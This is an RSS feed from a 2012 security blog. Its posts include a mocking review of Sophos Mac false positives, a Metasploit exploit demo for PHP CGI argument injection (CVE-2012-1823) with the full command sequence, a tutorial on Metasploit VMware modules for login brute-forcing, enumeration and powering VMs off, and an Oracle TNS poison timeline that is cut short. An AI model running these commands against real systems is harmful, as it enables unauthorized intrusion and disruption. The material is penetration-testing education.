<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Romang Blog</title>
	<atom:link href="http://eromang.zataz.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://eromang.zataz.com</link>
	<description>aka wow on ZATAZ.com</description>
	<lastBuildDate>Sun, 13 May 2012 08:10:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>10 of 10 malwares detected by Mac Sophos Anti-Virus are false positives. Does yours?</title>
		<link>http://eromang.zataz.com/2012/05/13/10-of-10-malwares-detected-by-mac-sophos-anti-virus-are-false-positives-does-yours/</link>
		<comments>http://eromang.zataz.com/2012/05/13/10-of-10-malwares-detected-by-mac-sophos-anti-virus-are-false-positives-does-yours/#comments</comments>
		<pubDate>Sun, 13 May 2012 08:10:50 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Various]]></category>
		<category><![CDATA[Anti-Virus]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Sophos]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3773</guid>
		<description><![CDATA[On April 24, Sophos Naked Security blog had publish a post regarding malware infections on Mac OS X. Sophos has claim that 20% of Mac computers where carrying one or more instances of Windows malwares. All these malwares where detected though they&#8217;re free Sophos Anti-Virus for Mac Home  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://eromang.zataz.com/wp-content/uploads/imac-twenty-170.jpeg"><img class="alignleft size-thumbnail wp-image-3775" title="imac-twenty-170" src="http://eromang.zataz.com/wp-content/uploads/imac-twenty-170-150x150.jpg" alt="" width="150" height="150" /></a>On April 24, Sophos Naked Security blog had publish a post regarding <strong><a title="1 in 5 Macs has malware on it. Does yours?" href="http://nakedsecurity.sophos.com/2012/04/24/mac-malware-study/" target="_blank">malware infections on Mac OS X</a></strong>. Sophos has claim that 20% of Mac computers where carrying one or more instances of Windows malwares. All these malwares where detected though they&#8217;re free <strong><a href="http://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-mac-home-edition.aspx" target="_blank">Sophos Anti-Virus for Mac Home Edition</a></strong>.</p>
<p><strong><a href="http://krebsonsecurity.com/2012/04/urgent-fix-for-zero-day-mac-java-flaw/" target="_blank">Flashback malware</a></strong> was the big story of April for Mac consumers and all anti-virus company have jump on this opportunity to promote they&#8217;re products and to distill propaganda around Mac OS X security. I agree with them Mac OS X is a product like other product, and Mac OS X has also to be protected against threats, but the proposed solutions are worse than to do nothing.</p>
<p>&nbsp;</p>
<p>During my tests of Sophos Anti-Virus for Mac Home Edition 10 of 10 malwares detected by the anti-virus were false positives harassing me with constant alert pop-up during regular operations, Spotlight indexing, Time Machine backup. Here under a sample of 10 infections detected by Sophos Anti-Virus for Mac.</p>
<p><strong><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Perl~FtpExp-A.aspx" target="_blank">Perl/FtpExp-A</a></strong></p>
<p>False positives due to binary format of the &#8220;affected&#8221; files.</p>
<blockquote><p><em>/Users/xxxx/Library/Saved Application State/com.twitter.twitter-mac.savedState/window_1.data</em><br />
<em> /Users/xxxx/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#s.ytimg.com/settings.sol</em></p></blockquote>
<p><strong><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~BredoZp-JO.aspx" target="_blank">Troj/BredoZp-JO</a></strong></p>
<p><strong></strong>Sophos him self is a trojan, and some iTunes applications and Chrome are backdoored and nobody known about it.</p>
<blockquote><p><em>/Library/Preferences/com.sophos.sav.plist</em><br />
<em>/Users/xxxx/Music/iTunes/iTunes Media/Mobile Applications/iSSH 5.3.1.ipa</em><br />
<em>/Users/xxxx/Library/Saved Application State/com.google.Chrome.savedState/windows.plist</em></p></blockquote>
<p><strong><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~BredoZp-JN.aspx" target="_blank">Troj/BredoZp-JN</a></strong></p>
<p>iTunes is a very well-known backdoored software and one more time Sophos him self contain a trojan.</p>
<blockquote><p><em>/Users/xxxx/Library/Caches/com.apple.iTunes/goog-phish-shavar.db</em><br />
<em>/Library/Preferences/com.sophos.sav.plist</em></p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Iframe-HY.aspx" target="_blank"><strong>Troj/Iframe-HY</strong></a></p>
<p>One more time Sophos is a trojan, and now my Spotlight indexed files are also containing backdoor.</p>
<blockquote><p>/Library/Preferences/com.sophos.sav.plist,<br />
/Volumes/xxxx/.Spotlight-V100/Store-V2/700BF07C-170F-482E-A2BB-45EF8501935C/0.indexPostings</p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Mal~IRCBot-O.aspx" target="_blank"><strong>Mal/IRCBot-O </strong></a></p>
<p>VLC is containing an IRC bot, gotcha remote control of all VLC users.</p>
<blockquote><p>/Applications/VLC.app/Contents/Resources/English.lproj/InfoPlist.strings</p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~PhpShell-Z.aspx" target="_blank"><strong>Troj/PhpShell-Z</strong></a></p>
<p>One more time VLC how is containing a PHP trojan &#8230;</p>
<blockquote><p>/Applications/VLC.app/Contents/Resources/English.lproj/InfoPlist.strings</p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Mal~PHPShell-A.aspx" target="_blank"><strong>Mal/PHPShell-A </strong></a></p>
<p>Everybody know that Sophos Anti-Virus products are developed in PHP.</p>
<blockquote><p>/Library/Preferences/com.sophos.sav.plist</p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~PDFJs-B.aspx" target="_blank"><strong>Troj/PDFJs-B </strong></a></p>
<p>Help my logs are containing trojans and Sophos one more time.</p>
<blockquote><p>/private/var/log/DiagnosticMessages/2012.05.05.asl<br />
/Library/Preferences/com.sophos.sav.plist</p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Mal~Badsrc-C.aspx" target="_blank"><strong>Mal/Badsrc-C</strong></a></p>
<p>My Spotlight indexing has a dead malware&#8230;</p>
<blockquote><p>/.Spotlight-V100/Store-V2/DeadFiles/orphan.ef786332/0000/0000/0151/22087716.txt</p></blockquote>
<p><a href="http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~PhoexRef-A.aspx" target="_blank"><strong>Troj/PhoexRef-A</strong></a></p>
<p>Hu my screenshot of Metasploit are containing trojans (why not, lol) and Google drive is backdoored.</p>
<blockquote><p>/Users/xxxx/Desktop/screenshots/metasploit-vmware-modules-research.png<br />
/Users/xxxx/Library/Application Support/Google/Drive/sync_config.db<br />
/usr/share/zoneinfo/UTC<br />
/Library/Preferences/com.sophos.sav.plist</p></blockquote>
<p>In conclusion Sophos is more strong to do marketing and give fear to consumers than to create a good Mac anti-virus that really detect something.</p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/05/13/10-of-10-malwares-detected-by-mac-sophos-anti-virus-are-false-positives-does-yours/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CVE-2012-1823 PHP CGI Argument Injection Metasploit Demo</title>
		<link>http://eromang.zataz.com/2012/05/06/cve-2012-1823-php-cgi-argument-injection-metasploit-demo/</link>
		<comments>http://eromang.zataz.com/2012/05/06/cve-2012-1823-php-cgi-argument-injection-metasploit-demo/#comments</comments>
		<pubDate>Sun, 06 May 2012 13:35:32 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3766</guid>
		<description><![CDATA[Timeline :
Vulnerability discovered at Nullcon Hackim 2012 by eindbazen the 2012-01-13
Vulnerability reported to the vendor the 2012-01-17
Vulnerability accidentally disclosed on PHP bug tracking system the 2012-05-03
Coordinated public release of the vulnerability the 2012-05-03
Metasploit PoC  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Vulnerability discovered at Nullcon Hackim 2012 by <a href="http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" target="_blank">eindbazen</a> the 2012-01-13<br />
Vulnerability reported to the vendor the 2012-01-17<br />
Vulnerability accidentally disclosed on PHP bug tracking system the 2012-05-03<br />
Coordinated public release of the vulnerability the 2012-05-03<br />
Metasploit PoC provided the 2012-05-04</p>
<h4><strong>PoC provided by :</strong></h4>
<p>egypt<br />
hdm</p>
<h4><strong>Reference(s) :</strong></h4>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823" target="_blank">CVE-2012-1823</a><br />
<a href="http://osvdb.org/81633" target="_blank"> OSVDB-81633</a></p>
<h4><strong>Affected version(s) :</strong></h4>
<p>PHP versions before 5.3.12<br />
PHP versions before 5.4.2</p>
<h4><strong>Tested on CentOS release 6.2 (Final) </strong>with :</h4>
<p>php-common and php-cli 5.3.3-3.el6_2.6 at Fri Feb 3 00:35:09 2012</p>
<h4><strong>Description :</strong></h4>
<p>When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: &#8220;if there is NO unescaped &#8216;=&#8217; in the query string, the string is split on &#8216;+&#8217; (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the &#8220;encoded in a system-defined manner&#8221; from the RFC) and then passes them to the CGI binary.&#8221;</p>
<p><span style="color: #ff0000;"><strong><em>Note : This vulnerability was potentially exploited in the wild for at least 8 years !</em></strong></span></p>
<h4><strong>Commands :</strong></h4>
<pre>use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.178.210
set TARGETURI /phpinfo.php
set PAYLOAD php/exec
set CMD echo \"owned\"&gt;/var/www/html/owned.html
exploit</pre>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/ZcUsR9DSSOk" frameborder="0" allowfullscreen=""></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/05/06/cve-2012-1823-php-cgi-argument-injection-metasploit-demo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Metasploit VMware Auxiliary Modules</title>
		<link>http://eromang.zataz.com/2012/05/06/metasploit-vmware-auxiliary-modules/</link>
		<comments>http://eromang.zataz.com/2012/05/06/metasploit-vmware-auxiliary-modules/#comments</comments>
		<pubDate>Sun, 06 May 2012 06:51:54 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3692</guid>
		<description><![CDATA[Metasploit provide some VMware auxiliary modules who will permit you to fingerprint, gather information&#8217;s, enumerate users/groups/permissions, enumerate or terminate user administrative sessions, enumerate virtual machines hosted on ESX/ESXi and power on/off virtual machines.
You can find all these  [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.metasploit.com/" target="_blank">Metasploit</a></strong> provide some <strong><a href="http://www.vmware.com/" target="_blank">VMware</a></strong> auxiliary modules who will permit you to fingerprint, gather information&#8217;s, enumerate users/groups/permissions, enumerate or terminate user administrative sessions, enumerate virtual machines hosted on ESX/ESXi and power on/off virtual machines.</p>
<p>You can find all these auxiliary modules through the Metasploit search command.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-modules-research.png"><img class="alignnone size-full wp-image-3694" title="metasploit vmware modules research" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-modules-research.png" alt="" width="383" height="18" /></a></p>
<h3>VMWare ESX/ESXi Fingerprint Scanner (esx_fingerprint)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-esx_fingerprint.png"><img class="alignnone size-full wp-image-3696" title="metasploit vmware esxi fingerprint" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-esx_fingerprint.png" alt="" width="484" height="21" /></a></p>
<p>This module attempt try to access to VMware ESX/ESXi Web API interfaces and attempts to identify the running version of ESX/ESXi. Web API interfaces are running on port 443/TCP with &#8220;<em>/sdk</em>&#8221; default URL, also all connections are encrypted in SSL.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range (<em>ex : 192.168.1.0-192.168.1.255, or 192.168.1.0/24</em>) or a file (<em>ex : file:/tmp/ip_addresses.txt</em>). Also in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-esx_fingerprint_result.png"><img class="alignnone size-full wp-image-3697" title="metasploit vmware esx fingerprint result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-esx_fingerprint_result.png" alt="" width="300" height="89" /></a></p>
<h3>VMWare Authentication Daemon Version Scanner (vmauthd_version)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_version.png"><img class="alignnone size-full wp-image-3698" title="metasploit vmware vmauthd version" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_version.png" alt="" width="476" height="20" /></a></p>
<p>This module will gather information&#8217;s about an ESX/ESXi host through the vmauthd service on port 902/TCP.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range (<em>ex : 192.168.1.0-192.168.1.255, or 192.168.1.0/24</em>) or a file (<em>ex : file:/tmp/ip_addresses.txt</em>). Also in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_version_result.png"><img class="alignnone size-medium wp-image-3699" title="metasploit vmware vmauthd version result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_version_result-300x40.png" alt="" width="300" height="40" /></a></p>
<h3>VMWare Web Login Scanner (vmware_http_login)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_http_login.png"><img class="alignnone size-full wp-image-3700" title="metasploit vmware http login" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_http_login.png" alt="" width="511" height="24" /></a></p>
<p>This module attempts to authenticate to the VMWare HTTP service for VmWare Server, ESX, and ESXi.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. This module is also attempting to authenticate using username and password combinations indicated by the “<em>USER_FILE</em>“, “<em>PASS_FILE</em>“, and “<em>USERPASS_FILE</em>” options. You can use <a href="http://www.skullsecurity.org/wiki/index.php/Passwords" target="_blank">SkullSecurity</a> password lists. Also in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p>All valid user and password combinations are in green, invalid login are in red.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_http_login_result.png"><img class="alignnone size-full wp-image-3701" title="metasploit vmware http login result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_http_login_result.png" alt="" width="415" height="132" /></a></p>
<h3>VMWare Authentication Daemon Login Scanner (vmauthd_login)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_login.png"><img class="alignnone size-full wp-image-3702" title="metasploit vmware vmauthd login" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_login.png" alt="" width="476" height="17" /></a></p>
<p>This module will test vmauthd logins on a range of machines and report successful logins.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. This module is also attempting to authenticate using username and password combinations indicated by the “<em>USER_FILE</em>“, “<em>PASS_FILE</em>“, and “<em>USERPASS_FILE</em>” options. You can use <a href="http://www.skullsecurity.org/wiki/index.php/Passwords" target="_blank">SkullSecurity</a> password lists. Also in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p>All valid user and password combinations are in green, invalid login are in red.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_login_result.png"><img class="alignnone size-medium wp-image-3703" title="metasploit vmware vmauthd login result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmauthd_login_result-300x41.png" alt="" width="300" height="41" /></a></p>
<p>&nbsp;</p>
<h3>VMWare Enumerate Host Details (vmware_host_details)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_host_details.png"><img class="alignnone size-full wp-image-3704" title="metasploit vmware host details" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_host_details.png" alt="" width="493" height="16" /></a></p>
<p>This module attempts to enumerate information about the host systems through the VMWare web API.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. In order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable. Also, you can enumerate hardware details of the host by setting the &#8220;<em>HW_DETAILS</em>&#8221; option to &#8220;<em>true</em>&#8220;.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_host_details_result.png"><img class="alignnone size-full wp-image-3705" title="metasploit vmware host details result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_host_details_result.png" alt="" width="528" height="780" /></a></p>
<h3>VMWare Enumerate User Accounts (vmware_enum_users)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_users.png"><img class="alignnone size-full wp-image-3706" title="metasploit vmware enum users" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_users.png" alt="" width="515" height="17" /></a></p>
<p>This module will log into the Web API of VMWare and try to enumerate all the user accounts. If the VMware instance is connected to one or more domains, it will try to enumerate domain users as well.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also, in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_users_result.png"><img class="alignnone size-full wp-image-3707" title="metasploit vmware enum users result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_users_result.png" alt="" width="356" height="355" /></a></p>
<h3>VMWare Enumerate Permissions (vmware_enum_permissions)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_permissions.png"><img class="alignnone size-full wp-image-3708" title="metasploit vmware enum permissions" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_permissions.png" alt="" width="536" height="16" /></a></p>
<p>This module will log into the Web API of VMWare and try to enumerate all the user/group permissions. Unlike &#8220;<em>vmware_enum_users</em>&#8221; auxiliary module this is only users and groups that specifically have permissions defined within the VMware product.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also, in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_permissions_result.png"><img class="alignnone size-full wp-image-3709" title="metasploit vmware enum permissions result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_permissions_result.png" alt="" width="468" height="202" /></a></p>
<h3>VMWare Enumerate Active Sessions (vmware_enum_sessions)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_sessions.png"><img class="alignnone size-full wp-image-3710" title="metasploit vmware enum sessions" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_sessions.png" alt="" width="558" height="14" /></a></p>
<p>This module will log into the Web API of VMware and try to enumerate all the login sessions.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also, in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable.</p>
<p>Unfortunately this module is not working with VMware ESXi 5.0</p>
<h3>VMWare Terminate ESX Login Sessions (terminate_esx_sessions)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-terminate_esx_sessions.png"><img class="alignnone size-full wp-image-3711" title="metasploit vmware terminate esx sessions" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-terminate_esx_sessions.png" alt="" width="537" height="17" /></a></p>
<p>This module will log into the Web API of VMWare and try to terminate user login sessions as specified by the session keys.</p>
<p>You can run this module against one host by defining the &#8220;<em>RHOST</em>&#8221; variable. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also you have to provide a session key identified by the previous &#8220;<em>vmware_enum_sessions</em>&#8221; auxiliary module by defining the &#8220;<em>KEYS</em>&#8221; variable.</p>
<p>Unfortunately this module is not working with VMware ESXi 5.0</p>
<h3>VMWare Enumerate Virtual Machines (vmware_enum_vms)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_vms.png"><img class="alignnone size-full wp-image-3712" title="metasploit vmware enum vms" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_vms.png" alt="" width="526" height="19" /></a></p>
<p>This module attempts to discover virtual machines on any VMWare instance running the web interface. This would include ESX/ESXi and VMWare Server.</p>
<p>You can run this module against multiple hosts by defining the “<em>RHOSTS</em>” variable. “<em>RHOSTS</em>” variable could be a unique IP address, an IP addresses range or a file. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also, in order to parallelize brute force attempts, just increase the number of concurrent threads by setting the “<em>THREADS</em>” variable. By defining the &#8220;<em>SCREENSHOT</em>&#8221; variable, the auxiliary module will try to take a screenshot of the running VM.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_vms_result.png"><img class="alignnone size-full wp-image-3713" title="metasploit vmware enum vms result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-vmware_enum_vms_result.png" alt="" width="602" height="439" /></a></p>
<h3>VMWare Power On Virtual Machine (poweron_vm)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweron_vm.png"><img class="alignnone size-full wp-image-3714" title="metasploit vmware poweron vm" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweron_vm.png" alt="" width="433" height="17" /></a></p>
<p>This module will log into the Web API of VMWare and try to power on a specified Virtual Machine.</p>
<p>You can run this module against one host by defining the &#8220;<em>RHOST</em>&#8221; variable. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also you have to provide a virtual machine name identified by the previous &#8220;<em>vmware_enum_vms</em>&#8221; auxiliary module by defining the &#8220;<em>VM</em>&#8221; variable (for example : <em>set VM CentOS 5.8 i386</em>).</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweron_vm_result.png"><img class="alignnone size-full wp-image-3715" title="metasploit vmware poweron vm result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweron_vm_result.png" alt="" width="283" height="82" /></a></p>
<h3>VMWare Tag Virtual Machine (tag_vm)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-tag_vm.png"><img class="alignnone size-full wp-image-3716" title="metasploit vmware tag vm" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-tag_vm.png" alt="" width="415" height="19" /></a></p>
<p>This module will log into the Web API of VMWare and &#8216;tag&#8217; a specified Virtual Machine. It does this by logging a user event with user supplied text.</p>
<p>You can run this module against one host by defining the &#8220;<em>RHOST</em>&#8221; variable. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. You have to provide a virtual machine name identified by the previous &#8220;<em>vmware_enum_vms</em>&#8221; auxiliary module by defining the &#8220;<em>VM</em>&#8221; variable (for example : <em>set VM CentOS 5.8 i386</em>). Also you have to provide a message through the &#8220;<em>MSG</em>&#8221; variable.</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-tag_vm_result.png"><img class="alignnone size-full wp-image-3717" title="metasploit vmware tag vm result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-tag_vm_result.png" alt="" width="261" height="83" /></a></p>
<h3>VMWare Power Off Virtual Machine (poweroff_vm)</h3>
<p>To invoke this auxiliary module just type the following command :</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweroff_vm.png"><img class="alignnone size-full wp-image-3718" title="metasploit vmware poweroff vm" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweroff_vm.png" alt="" width="391" height="22" /></a></p>
<p>This module will log into the Web API of VMWare and try to power off a specified Virtual Machine.</p>
<p>You can run this module against one host by defining the &#8220;<em>RHOST</em>&#8221; variable. You have to provide a valid &#8220;<em>USERNAME</em>&#8221; and &#8220;<em>PASSWORD</em>&#8220;. Also you have to provide a virtual machine name identified by the previous &#8220;<em>vmware_enum_vms</em>&#8221; auxiliary module by defining the &#8220;<em>VM</em>&#8221; variable (for example : <em>set VM CentOS 5.8 i386</em>).</p>
<p><a href="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweroff_vm_result.png"><img class="alignnone size-full wp-image-3719" title="metasploit vmware poweroff vm result" src="http://eromang.zataz.com/wp-content/uploads/metasploit-vmware-poweroff_vm_result.png" alt="" width="259" height="86" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://eromang.zataz.com/2012/05/06/metasploit-vmware-auxiliary-modules/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CVE-2012-1675 Oracle Database TNS Poison 0Day Video Demonstration</title>
		<link>http://eromang.zataz.com/2012/04/30/oracle-database-tns-poison-0day-video-demonstration/</link>
		<comments>http://eromang.zataz.com/2012/04/30/oracle-database-tns-poison-0day-video-demonstration/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 16:25:50 +0000</pubDate>
		<dc:creator>wow</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://eromang.zataz.com/?p=3681</guid>
		<description><![CDATA[Timeline :
Vulnerability discovered by Joxean Koret in 2008
Vulberability reported to the vendor by Joxean Koret in 2008
Public release of the vulnerability in Oracle CPU by the vendor the 2012-04-17
Details and PoC of the vulnerability released by Joxean Koret the 2012-04-18
Fake patching of the  [...]]]></description>
			<content:encoded><![CDATA[<h4>Timeline :</h4>
<p>Vulnerability discovered by Joxean Koret in 2008<br />
Vulberability reported to the vendor by Joxean Koret in 2008<br />
Public release of the vulnerability in Oracle CPU by the vendor the 2012-04-17<br />
Details and PoC of the vulnerability released by Joxean Koret the 2012-04-18<br />
Fake patching of the vulnerability <a href="http://seclists.org/fulldisclosure/2012/Apr/343" target="_blank">discovered by Joxean Koret</a> the 2012-04-26</p>
<h4><strong>PoC provided by :</strong></h4>
<p>Joxean Koret</p>
<h4><strong>Reference(s) :</strong></h4>
<p><a href="http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html" target="_blank">Oracle CPU of April 2012</a><br />
<a href="http://seclists.org/fulldisclosure/2012/Apr/204" target="_blank"> Joxean Koret details and PoC</a><br />
